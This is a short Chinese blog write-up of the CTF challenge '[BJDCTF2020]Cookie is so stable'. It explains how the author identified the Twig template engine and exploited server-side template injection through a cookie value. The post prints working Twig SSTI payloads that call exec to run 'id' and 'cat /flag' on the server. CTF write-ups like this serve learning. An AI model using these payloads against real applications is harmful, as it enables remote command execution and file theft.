zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Cookie is so stable

    打开题目环境,一开始考虑是sql注入,但是发现输入什么都会回显输入的数据。

    这时候考虑是不是模板注入了。根据hint,注入点存在于cookie中。

    {{7*'7'}} 回显7777777 ==> Jinja2
    {{7*'7'}} 回显49 ==> Twig 

    将cookie中的UM_distinctid去掉,添加payload

    根据回显结果判断是twig模板引擎,打上payload

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

    拿到flag

    第一次做到ssti注入的题目,对于paylaod的理解还是很模糊。

  • 相关阅读:
    MySQL-sql语句
    常见IP端口
    Java开发异常
    微信开发-charles抓包
    6、分组查询
    5、关联查询
    4、查询
    3、表的管理
    2、用户管理
    1、oracle基本使用
  • 原文地址:https://www.cnblogs.com/akger/p/15498349.html
Copyright © 2011-2022 走看看